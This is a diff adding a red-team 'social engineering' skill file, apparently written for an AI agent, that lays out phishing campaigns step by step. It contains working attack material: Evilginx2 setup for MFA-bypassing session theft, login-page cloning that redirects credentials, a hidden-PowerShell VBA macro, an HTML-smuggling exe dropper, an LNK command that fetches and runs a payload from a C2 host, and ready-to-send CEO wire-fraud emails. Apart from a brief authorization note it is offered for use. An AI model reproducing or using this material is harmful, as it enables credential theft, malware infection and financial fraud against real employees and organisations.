+ # rt-social-engineering — Social Engineering Master Skill
7
+
8
+ ## Overview
9
+
10
+ Social engineering is exploiting human psychology rather than technical vulnerabilities. In red team engagements, it is often the fastest path to initial access — a single clicked link bypasses years of perimeter hardening. This skill covers end-to-end social engineering campaign planning, execution, and documentation.
11
+
12
+ **Covers:**
13
+ - Phishing (email-based credential harvest and payload delivery)
14
+ - Spear Phishing (targeted, OSINT-driven)
15
+ - Business Email Compromise (BEC)
16
+ - Vishing (phone-based)
17
+ - Smishing (SMS-based)
18
+ - Pretexting for physical access
19
+ - Campaign infrastructure setup (GoPhish, Evilginx2, Modlishka)
20
+
21
+ **Authorization note:** Every technique here requires explicit written scope. ROE must specify: allowed targets, allowed domains, allowed lure types, and notification procedures if a target reports the test.
22
+
23
+ ---
24
+
25
+ ## Phase 1 — Target Profiling (OSINT-Driven)
26
+
27
+ Before crafting any lure, build the target profile.
28
+
29
+ ```bash
30
+ # Email harvesting — find employee emails
31
+ theHarvester -d corp.com -l 500 -b google,bing,linkedin,hunter
32
+ # Cross-reference with LinkedIn
33
+ python3 linkedin2username.py -u 'attacker@gmail.com' -c 'Target Company' -n 5
34
+
35
+ # Find org chart structure (who reports to who)
36
+ # LinkedIn advanced search → "Target Company" → filter by department
37
+ # Identify: IT admins, finance team, executives, HR
38
+
39
+ # Find names + email format
40
+ curl "https://hunter.io/api/v2/domain-search?domain=corp.com&api_key=KEY"
41
+ # Reveals: {first}.{last}@corp.com or {first}{last}@corp.com
42
+
43
+ # Find recent news / events (pretext material)
44
+ site:corp.com filetype:pdf OR filetype:docx # leaked documents
45
+ site:linkedin.com "Target Company" "we are hiring" # hiring events = IT changes
46
+ "Target Company" "new office" OR "system migration" OR "security update" # pretext hooks
47
+ ```
48
+
49
+ ---
50
+
51
+ ## Phase 2 — Infrastructure Setup
52
+
53
+ ### 2a — Domain Setup (Lookalike / Typosquatting)
54
+
55
+ ```bash
56
+ # Find available typosquats
57
+ dnstwist corp.com --format csv | head -20
58
+ # Examples: c0rp.com, corp-security.com, corp-helpdesk.com, corpsupport.com
59
+
60
+ # Register domain (use privacy protection)
61
+ # Set up DNS: A record → phishing server, MX → mail server
62
+
63
+ # Configure SPF, DKIM, DMARC to appear legitimate
64
+ # SPF: "v=spf1 ip4:YOUR_IP ~all"
65
+ # DKIM: generate keys → add TXT record
66
+ # DMARC: "v=DMARC1; p=none; rua=mailto:you@yourinfra.com"
67
+ # p=none = reports only, no rejection → maximizes delivery
68
+ ```
69
+
70
+ ### 2b — GoPhish Campaign Server
71
+
72
+ ```bash
73
+ # Install GoPhish
74
+ wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-64bit.zip
75
+ unzip gophish-linux-64bit.zip && chmod +x gophish
76
+
77
+ # Edit config.json
78
+ {
79
+ "admin_server": {"listen_url": "127.0.0.1:3333", "use_tls": true},
80
+ "phish_server": {"listen_url": "0.0.0.0:443", "use_tls": true,
81
+ "cert_path": "/etc/letsencrypt/live/corp-helpdesk.com/fullchain.pem",
82
+ "key_path": "/etc/letsencrypt/live/corp-helpdesk.com/privkey.pem"}
83
+ }
84
+
85
+ ./gophish &
86
+ # Access admin: https://127.0.0.1:3333 (SSH tunnel if needed)
87
+ ```
88
+
89
+ ### 2c — Evilginx2 (Reverse Proxy Phishing — Bypasses MFA)
90
+
91
+ ```bash
92
+ # Evilginx2 captures session cookies even with MFA enabled
93
+ git clone https://github.com/kgretzky/evilginx2
94
+ cd evilginx2 && go build
95
+
96
+ ./evilginx2 -p ./phishlets -c /root/.evilginx
97
+
98
+ # Configure domain
99
+ config domain corp-helpdesk.com
100
+ config ip YOUR_SERVER_IP
101
+
102
+ # Load phishlet (pre-built for Microsoft 365, Google, etc.)
103
+ phishlets hostname o365 corp-helpdesk.com
104
+ phishlets enable o365
105
+
106
+ # Create lure
107
+ lures create o365
108
+ lures get-url 0
109
+ # Output: https://corp-helpdesk.com/login → captures session token
110
+ ```
111
+
112
+ ---
113
+
114
+ ## Phase 3 — Credential Harvest Phishing
115
+
116
+ ### 3a — Clone Target Login Page
117
+
118
+ ```bash
119
+ # Clone with httrack
120
+ httrack https://corp.com/login -O ./clone/ "+*.corp.com" -v
121
+
122
+ # Or use SET (Social Engineering Toolkit)
123
+ setoolkit
124
+ # 1) Social Engineering Attacks
125
+ # 2) Website Attack Vectors
126
+ # 3) Credential Harvester Attack Method
127
+ # 2) Site Cloner
128
+ # Enter URL to clone: https://login.microsoftonline.com
129
+
130
+ # Modify cloned page — redirect credentials to your server
131
+ # In index.html: change form action to your collector endpoint
132
+ ```
133
+
134
+ ### 3b — Email Template (Microsoft 365 Password Expiry — High Open Rate)
135
+
136
+ ```
137
+ Subject: [Action Required] Your Microsoft 365 password expires in 24 hours
138
+
139
+ From: IT-Security <no-reply@corp-helpdesk.com>
140

156
+ ### 3c — Send Campaign (GoPhish)
157
+
158
+ ```
159
+ GoPhish Setup:
160
+ 1. Sending Profile: SMTP relay (SendGrid, Amazon SES, or self-hosted Postfix)
161
+ 2. Email Template: paste crafted template, add {{.FirstName}} {{.LastName}} tokens
162

165
+ ```
166
+
167

168
+
169
+ ## Phase 4 — Payload Delivery Phishing
170
+
171
+ ### 4a — Office Macro Payload (VBA)
172
+
173
+ ```vba
174
+ ' Word/Excel macro — execute on document open
175
+ Sub AutoOpen()
176
+ AutoRun
177
+ End Sub
178
+
179
+ Sub AutoRun()
180
+ Dim cmd As String
181
+ cmd = "powershell -WindowStyle Hidden -EncodedCommand " & _

183
+ Shell "cmd.exe /c " & cmd, vbHide
184
+ End Sub
185
+ ```
186
+
187
+ ### 4b — HTML Smuggling (Bypass Email Filters)
188
+
189
+ ```html
190
+ <!-- Payload assembles in browser — not scanned by email gateways -->
191
+ <html><body>
192
+ <script>
193
+ const b64 = "TVqQAAMAAAAEAAAA..."; // base64 encoded exe
194
+ const blob = new Blob([Uint8Array.from(atob(b64), c => c.charCodeAt(0))],
195
+ {type: "application/octet-stream"});
196
+ const a = document.createElement('a');
197
+ a.href = URL.createObjectURL(blob);
198
+ a.download = "Invoice_2026.exe";
199
+ document.body.appendChild(a);
200
+ a.click();
201
+ </script>
202
+ <p>Your invoice is downloading...</p>
203
+ </body></html>
204
+ ```
205
+
206
+ ### 4c — ISO / LNK File (Modern Delivery — No Mark-of-the-Web)
207
+
208
+ ```bash
209
+ # ISO bypasses MOTW — contents not scanned by Defender
210
+ # Create ISO containing: LNK file + hidden payload
211
+
212
+ # LNK target:
213
+ # cmd.exe /c start /min powershell -w hidden -c "iwr http://C2/s.exe -o $env:TEMP\s.exe; & $env:TEMP\s.exe"
214
+
215
+ # Package into ISO
216
+ mkisofs -o invoice.iso ./payload_folder/
217
+
218
+ # Email as attachment: "Invoice_2026.iso"
219
+ # User double-clicks ISO (mounts it) → sees Invoice.lnk → clicks → payload runs
220
+ ```
221
+
222

223
+
224
+ ## Phase 5 — Business Email Compromise (BEC)
225
+
226
+ ### 5a — CEO / CFO Fraud Chain
227
+
228
+ ```
229
+ STEP 1 — Reconnaissance
230
+ - Identify CEO name: LinkedIn, company website
231
+ - Identify CFO / Finance Manager: LinkedIn
232
+ - Find CEO email format from OSINT: john.smith@corp.com
233
+
234
+ STEP 2 — Lookalike email setup
235
+ - Register: john.smith@c0rp.com OR john.smith@corp-int.com
236
+ - Configure reply-to: actual CEO email (to monitor replies)
237
+
238
+ STEP 3 — Initial contact (CEO → CFO)
239
+ Subject: Confidential — Time Sensitive
240
+
241
+ Hi Sarah,
242
+
243
+ I'm currently in a board meeting and need your urgent assistance with a
244
+ wire transfer. This is related to a confidential acquisition — please do
245
+ not discuss with anyone else until we speak.
246
+
247
+ Can you handle a $47,000 transfer today? I'll call you after 3pm to
248
+ discuss. Please confirm you received this.
249
+
250
+ John
251
+
252
+ STEP 4 — Follow-up pressure (if no response)
253
+ Subject: Re: Confidential — Time Sensitive
254
+
255
+ Sarah, please confirm. The window for this deal closes at 5pm EST.
256
+ The legal team is waiting on our end.
257
+
258
+ J.
259
+
260
+ STEP 5 — Wire instructions (after target confirms)
261
+ Provide attacker-controlled bank account details.
262
+ In real engagements: use a controlled test account, document instead.
263
+ ```
264
+
265
+ ### 5b — IT Helpdesk Impersonation → Credential Theft
266
+
267
+ ```
268

344
+
345
+ SCENARIO C — New Employee
346
+ Materials: company-branded printouts, laptop

359
+ - Credential submission rate: forms submitted / links clicked
360
+ - Payload execution rate: payloads run / payloads delivered
361
+ - Report rate: targets who reported the phish to IT
362
+
363
+ GoPhish exports CSV with all events.
364
+ Document in rt-finding-document with:
365
